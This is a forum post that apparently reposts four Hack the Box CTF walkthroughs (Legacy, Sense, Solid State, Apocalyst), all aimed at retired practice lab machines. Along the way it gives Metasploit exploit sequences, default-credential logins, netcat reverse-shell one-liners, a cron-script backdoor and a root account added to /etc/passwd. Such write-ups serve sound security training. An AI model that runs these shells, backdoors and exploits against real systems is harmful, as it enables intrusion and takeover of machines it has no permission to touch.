Login

**NINZA** · 05-14-2020, 08:33 AM

0			0

Hello friends!! Today we are going to solve another CTF challenge “Legacy” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Legacy lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of Legacy is 10.10.10.4 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.4
1
nmap -A 10.10.10.4
From the given below image, you can observe that we found open port 139 and 445 denotes that it is a windows machine.
When I extract the complete result of nmap I found the following details
OS: Windows XP
Computer name: Legacy
NetBIOS computer name Legacy
As we know in Windows XP Port 445 was vulnerable to netapi exploit and it was a remarkable vulnerability in SMB protocol.
[Image: 1.png?w=687&ssl=1]

Let confirm SMB vulnerability in victims system using nmap script.
nmap --script vuln -p445 10.10.10.4
1
nmap --script vuln -p445 10.10.10.4
Awesome!! Victim’s machine is vulnerable to MS08-67exploit.
[Image: 2.png?w=687&ssl=1]

Then I run msfconsole command in terminal and load metasploit framework for using eternal blue module for exploiting target machine.
use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) >set rhost 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) >set rport 445
msf exploit(windows/smb/ms08_067_netapi) >set lhost 10.10.14.3
msf exploit(windows/smb/ms08_067_netapi) >exploit
1
2
3
4
5
use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) >set rhost 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) >set rport 445
msf exploit(windows/smb/ms08_067_netapi) >set lhost 10.10.14.3
msf exploit(windows/smb/ms08_067_netapi) >exploit
Awesome!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
[Image: 3.1.png?w=687&ssl=1]

Inside C:\Document and Setting \john\Desktop I found the user.txt file and used cat “filename” command for reading this file.
cat user.txt
1
cat user.txt
Great!! We got our 1st flag successfully
[Image: 3.png?w=687&ssl=1]

Inside C:\Document and Settings\Administrator\Desktop I found the root.txt file and used cat “filename” command for reading this file.
cat root.txt
1
cat root.txt
Great!! We got our 2nd flag successfully
[Image: 4.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Sense” which is available online for those who want to increase their skill in penetration testing and black box testing. sense is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Sense craft which is designed for beginners.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.60 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.60 --open
1
nmap -A 10.10.10.60 --open
[Image: 1.png?w=687&ssl=1]

From the given below image, you can observe we found port 80, 443 are open in the victim’s network.
Knowing port 80 is open in victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue on its PF Sense Login Portal for next step.
[Image: 2.png?w=687&ssl=1]

Now we have this Login Portal using DirBuster Tool. As you can see we have given Target IP

[To see content please register here]

in the Target URL option. And we have given the path of the directory we want to enumerate which is /usr/share/wordlists/disbuster/directory-list-2-3-medium.txt. In File Extension option we have given the format of the file which is txt. Then Click on start for BruteForcing.
[Image: 4.png?w=687&ssl=1]

After going through all the directories and file’s we came up with a conclusion that system-users.txt has the clue for our next step.
[Image: 5.png?w=687&ssl=1]

Now we have simply accessed the file using the browser by giving an input of

[To see content please register here]

, what we saw was a Username and Password which can be used to an accessed Sense Login portal. But giving these inputs didn’t actually log us in.
[Image: 6.png?w=687&ssl=1]

This made us curious, then we decided to take a little help from google. We searched for the default username and password for PFSENSE. The result we got can be seen in the image below.
[Image: 7.png?w=687&ssl=1]

Then we have given username as rohit and password as pfsense. Where r is in small letter these credentials have successfully logged us into the pfsense portal.
[Image: 8.png?w=687&ssl=1]

We figured out that we should try searching for the pfsense version which is 2.1.3 on google. And as usual, it came out to be a Remote Command Execution Exploit.
[Image: 9.png?w=687&ssl=1]

Once we are assured of the username and password, we have used Metasploit exploit and got the meterpreter as you can see below.
use exploit/unix/http/pfsense_graph_injection_exec
set rhost 10.10.10.60
set username rohit
set password pfsense
set lhost 10.10.14.3
set lport 9000
exploit
1
2
3
4
5
6
7
use exploit/unix/http/pfsense_graph_injection_exec
set rhost 10.10.10.60
set username rohit
set password pfsense
set lhost 10.10.14.3
set lport 9000
exploit
[Image: 10.png?w=687&ssl=1]

Once we have got the meterpreter. We have used command cd /home to check what kind of directories are on home. Then we check inside the rohit directory using command ls /home/rohit, here we found out the user.txt file and used cat user.txt to read the file content which contains our first FLAG!!
[Image: 11.png?w=687&ssl=1]

After getting our first FLAG. We have used shell command and whoami command which has displayed the current user which is root, then after getting into root directory, we have used ls command which gave us the root.txt file. Whose content we would like to see by using the cat root.txt command. Finally, we found our final FLAG!!
shell
whoami
cd /root
cat root.txt
1
2
3
4
shell
whoami
cd /root
cat root.txt
[Image: 12.png?w=687&ssl=1]

Today we are going to solve a CTF Challenge “Solid State”. It is a Vulnerable lab that is featured on Hack the Box. They have an amazing collection of Online Labs on which you can practice your penetration testing skills online. They have labs ranging from Beginner to Expert. Solid State is a Retired Lab.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Let’s Begin!
As these labs are only available online through a VPN, therefore, they have a static IP. Solid State Lab has an IP Address: 10.10.10.51
Now, as always let’s begin our hacking with the port enumeration using nmap.
nmap 10.10.10.51 -sV -p- --open
1
nmap 10.10.10.51 -sV -p- --open
[Image: 1.png?w=687&ssl=1]

As you can see in the screenshot that we have a couple of ports open like:

Port No

Service

22

SSH

25

SMTP

80

HTTP

110

POP3

119

NNTP

4555

James-admin

The Port 80 is open so let’s open IP in out Browser to see that if a website is hosted on the IP.
[Image: 2.png?w=687&ssl=1]

After opening the IP in the browser we can see that it is a basic website, nothing exciting.
Now back to 4555, it runs service James Remote Admin 2.3.2. After searching a while on the internet, I got that the default password for logging in the Remote Admin is root: root.
And it is a golden rule to apply the default credentials, so let’s try to get in Remote Admin using the default credentials. For this, we will use netcat as shown below in the image.
nc 10.10.10.51 4555
1
nc 10.10.10.51 4555
Great!! We have logged in on the Remote Admin Service, after that, we ran the HELP command to get the List of working commands.
[Image: 3.png?w=687&ssl=1]

Here listusers command draws our attention, let’s see what it does. Great, we have the list of mail users on the server.
[Image: 4.png?w=687&ssl=1]

Back to the HELP command, we had the setpassword command. Let’s use it to change the passwords of all the users so that we can further enumerate.
setpassword james 1234
1
setpassword james 1234
[Image: 5.png?w=687&ssl=1]

OK, so now we have the users for the POP3 service and their passwords. Now, let’s dig into that, for that we will use telnet.
telnet 10.10.10.51 110
User: john
Pass: 1234
LIST
1
2
3
4
telnet 10.10.10.51 110
User: john
Pass: 1234
LIST
After logging in using the Credentials of the user john, we ran the command LIST, which lists all the messages in John’s account. Let see if we find something here.
[Image: 6.png?w=687&ssl=1]

Nope, hard luck !! we didn’t get much in this but let’s try another user.
Again open a new telnet session but this time we enter the Credentials of user Mindy.
telnet 10.10.10.51 110
User: mindy
Pass: 1234
list
1
2
3
4
telnet 10.10.10.51 110
User: mindy
Pass: 1234
list
Using LIST we got the emails in the account of Mindy. Let’s open to see if we can get some hint to move forward in the mail.
[Image: 7.png?w=687&ssl=1]

After opening the mail we found sent mail from admin account by James to Mindy sharing his the SSH Login Credentials. It is a Jackpot!!
Username: mindy
Pass: P@55W0rd1!2@
1
2
Username: mindy
Pass: P@55W0rd1!2@
[Image: 8.png?w=687&ssl=1]

Let’s go and get the ssh shell of the machine and use Mindy credential for login into ssh.
ssh [email protected]
1
ssh [email protected]
Cool!! We got access to the victim’s PTS shell.
[Image: 9.png?w=687&ssl=1]

Since we have enumerated the target network and found Apache James Server 2.3.2 is running. After Browsing through the internet we stumbled across the Exploit DB module shown in the screenshot, To use the module copy the whole python code from

[To see content please register here]

Paste above-copied python code in a text file and make following changes inside payload as highlighted in below image and then save it, we have it as exploit.py on the desktop.
nc -e /bin/sh 10.10.14.3 8000
1
nc -e /bin/sh 10.10.14.3 8000
Here 10.10.14.3 is attacker’s IP and 8000 is listening to port for a reverse connection from targets network.
[Image: 12.png?w=687&ssl=1]

Now run above saved python file as I run using below command:
./exploit.py 10.10.10.51
1
./exploit.py 10.10.10.51
[Image: 13.png?w=687&ssl=1]

OK Done! The Exploit will work only when someone logs in. So let’s again login into SSH shell using the user Mindy’s Credentials and as soon as we log in the exploit begin to work as shown below.
[Image: 14.png?w=687&ssl=1]

Let’s open a netcat Listener to get the shell which will be generated after our exploit gets completely executed. Now we need to import the python file to reach the terminal and to do so type:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Lovely!! So again we got access of victim’s system shell but this time we had access TTys shell of his system, now let check its directory.
ls
1
ls
Here we can see user.txt which indicates we have almost completed our 1st challenge.
[Image: 15.png?w=687&ssl=1]

I had to use cat command for reading the user.txt file and with this, we had completed our first challenge.
[Image: 16.png?w=687&ssl=1]

Now let’s move towards the 2nd challenge for root.txt and currently we are in Mindy directory. For the root.txt file, we need to get, an elevated shell. I recalled that Mindy received an email from admin account (James), there is a chance of getting any hint from James, therefore, I prefer to grep running process of James by executing following command.
ps aux | grep james
1
ps aux | grep james
Here aux will work as described below:
a = display processes for all users
u = show the process’ user/owner
x = show processes not attached to a terminal
Great!! It has shown root process for opt file.
[Image: 17.png?w=687&ssl=1]

Then I move into /opt directory and run ls-al command for exploring all files and folder inside this directory.
cd opt
ls -al
1
2
cd opt
ls -al
So it showed two files among which I’m interested in tmp.py file.
[Image: 18.png?w=687&ssl=1]

When I used cat command for reading this file I found a python code inside it. This code was useless for me and to me it useful I need to edit this file by adding malicious code inside it, therefore, let copy this code first into a text file.
[Image: 19.png?w=687&ssl=1]

As given below in image you can see I had edit netcat backdoor using the following command and save the file tmp.py, then transfer this file into victim’s system.
/bin/nc -e /bin/bash 10.10.14.3 8081
1
/bin/nc -e /bin/bash 10.10.14.3 8081
[Image: 20.png?w=687&ssl=1]

I tried to download our malicious tmp.py file inside /opt it get failed due to limited access therefore first I downloaded this file in /tmp directory using wget command.
wget

[To see content please register here]

1
wget

[To see content please register here]

When it gets successfully downloaded then I replace it into /opt directory
cp tmp.py /opt
cd /opt
ls
1
2
3
cp tmp.py /opt
cd /opt
ls
Great!! We can see tmp.py file inside /opt let’s confirm this file using the cat command
cat tmp.py
1
cat tmp.py
Awesome!!! We had successfully uploaded our one-liner netcat backdoor in victim’s system. Now let’s start netcat in a new terminal reverse connection.
nc -lvp 8081
1
nc -lvp 8081
[Image: 21.png?w=687&ssl=1]

Then I run crontab -l command for reverse connection and move back netcat terminal.
[Image: 22.png?w=687&ssl=1]

At netcat you will get the reverse connection after 3 minutes from the time you will run crontab command. We have the root shell. And just by using the “ls” command we successfully located the root.txt
Great!! We got our 2nd flag successfully Enjoy Hacking!!
[Image: 23.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Apocalyst ” which is available online for those who want to increase their skill in penetration testing and black box testing. Apocalyst is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Apocalyst craft which is designed for beginners.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of Apocalyst is 10.10.10.46 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.46
1
nmap -A 10.10.10.46
From the given below image, you can observe we found port 22, 80 are open in the victim’s network.
[Image: 1.png?w=687&ssl=1]

Knowing port 80 is open in the victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue on its Apocalypse Preparation blog for next step.
[Image: 2.png?w=687&ssl=1]

Now we have added the domain name of the target machine in the /etc/hosts file to access the webpage.

cat hosts
1
cat hosts
[Image: 4.png?w=687&ssl=1]

Next, we decided to give the name of the third host in the browser. Which has given us the Welcome page of the Apocalyst lab along with a message Apocalypse Preparation Blog.
[Image: 5.png?w=687&ssl=1]

Now we decided to use the command on the URL that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins etc.
wpscan -u

[To see content please register here]

--enumerate t --enumerate p --enumerate u
1
wpscan -u

[To see content please register here]

--enumerate t --enumerate p --enumerate u
[Image: 6.png?w=687&ssl=1]

The wpscan has enumerated the usernames where we have found the login credentials as falaraki.
[Image: 7.png?w=687&ssl=1]

Next, we use the dirb tool of kali to enumerate the directories from the .txt file. The command we have used is
dirb

[To see content please register here]

/root/Desktop/dict.txt
1
dirb

[To see content please register here]

/root/Desktop/dict.txt
[Image: 8.png?w=687&ssl=1]

Now that we have found an important directory named as Rightiousness in the .txt file we enumerated.
[Image: 9.png?w=687&ssl=1]

So next we decided to explore

[To see content please register here]

through browser URL and what we see is an image opened on the browser. As shown below.
[Image: 10.png?w=687&ssl=1]

The image got us wondering there must a clue behind the Image. On second thought we decided to do Steganalysis on the image. Using the steghide –info image.jpg command in the kali terminal. And we found there is a list.txt file embedded behind the image.
[Image: 11.png?w=687&ssl=1]

Now we need to extract that list.txt file embedded behind the image. Therefore we used steghide –extract –sf image.jpg command for extraction. We simply need to leave the Enter passphrase option blank and Press Enter. List.txt file has successfully been extracted on our Desktop.
[Image: 12.png?w=687&ssl=1]

Again we have used wpscan to find out the password credentials for the login credentials Falaraki we earlier took using the wpscan. Here we have used
wpscan –u

[To see content please register here]

--username falaraki --wordlist /root/Desktop/list.txt
1
wpscan –u

[To see content please register here]

--username falaraki --wordlist /root/Desktop/list.txt
the command to enumerate the password from the list.txt file.
[Image: 13.png?w=687&ssl=1]

We see that for login credentials falaraki, the password credentials matched is Transclisiation.
[Image: 14.png?w=687&ssl=1]

After finding the username and password, we have used metasploit’s exploit wp_admin_shell_upload to upload the shell and get the meterpreter which is shown below.
use exploit/unix/webapp/wp_admin_shell_upload
set rhost 10.10.10.46
set username falaraki
set password Transclisiation
exploit
1
2
3
4
5
use exploit/unix/webapp/wp_admin_shell_upload
set rhost 10.10.10.46
set username falaraki
set password Transclisiation
exploit
[Image: 15.png?w=687&ssl=1]

Once we have got the meterpreter. We have used command ls –la /home to check what kind of directories are on home. Then we check inside the falaraki directory using command ls –la /home/falaraki, here we found out the user.txt file and used cat /home/falaraki/user.txt to read the file content which contains our first FLAG!!
[Image: 16.png?w=687&ssl=1]

Now we used command ls –la in the falaraki directory as shown. Here we discovered a file named .secret which left us curious to read its content using the cat .secret command. It contains an encoded code in base64 which we need to decode to read the content behind it.
[Image: 17.png?w=687&ssl=1]

Now to decode the encoded content in base64 we used command echo “Encoded Content” | base64 –d. This gave us a decoded form of the content as shown in the image below.
[Image: 18.png?w=687&ssl=1]

Now Let’s we try to access the user falaraki using ssh, here we have given the command
ssh [email protected]
1
ssh [email protected]
[Image: 19.png?w=687&ssl=1]

On another terminal LinEnum tool from GitHub which is very well-known for checking privilege escalation in directories. First, we have downloaded the Linenum-master.zip file from GitHub. After that, we have shared the Linenum-master folder over the server by making a simple HTTP server on port 80 using the command
unzip LinEnum-master.zip
cd LinEnum-master/
ls
python –m SimpleHTTPServer 80
1
2
3
4
unzip LinEnum-master.zip
cd LinEnum-master/
ls
python –m SimpleHTTPServer 80
[Image: 20.png?w=687&ssl=1]

Now we will download the shared file using wget

[To see content please register here]

command for our falaraki@apocalyst user. Now need to give permission to LinEnum.sh using command chmod 777 Linenum.sh. Now to execute it we have given command ./LinEnum.sh.
[Image: 21.png?w=687&ssl=1]

The LinEnum tool has given all the sensitive files that can be read/write in the falaraki directory.
[Image: 22.png?w=687&ssl=1]

In a new terminal, we are using OpenSSL to make a new salted combined username and password in MD5 algorithm. For this the command used is
openssl passwd -1 -salt raj pass123
1
openssl passwd -1 -salt raj pass123
[Image: 23.png?w=687&ssl=1]

Now using vi /etc/passwd command we are editing the passwd directory for adding a new user. The for the new user is username: Salted Value of username and password:0:0:root:/root:/bin/bash, we have saved this new user by using: wq command.
[Image: 24.png?w=687&ssl=1]

Now we simply check if the user has been successfully added or not, so as to find them. For this, we have used su -raj command and in the password, we have given the password for this user which is pass123. We are finally in the root privilege of the Apocalyst by using ls command we see a root.txt file, whose content we would like to see by using the cat root.txt command. Finally, we found our final FLAG!!
[Image: 25.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis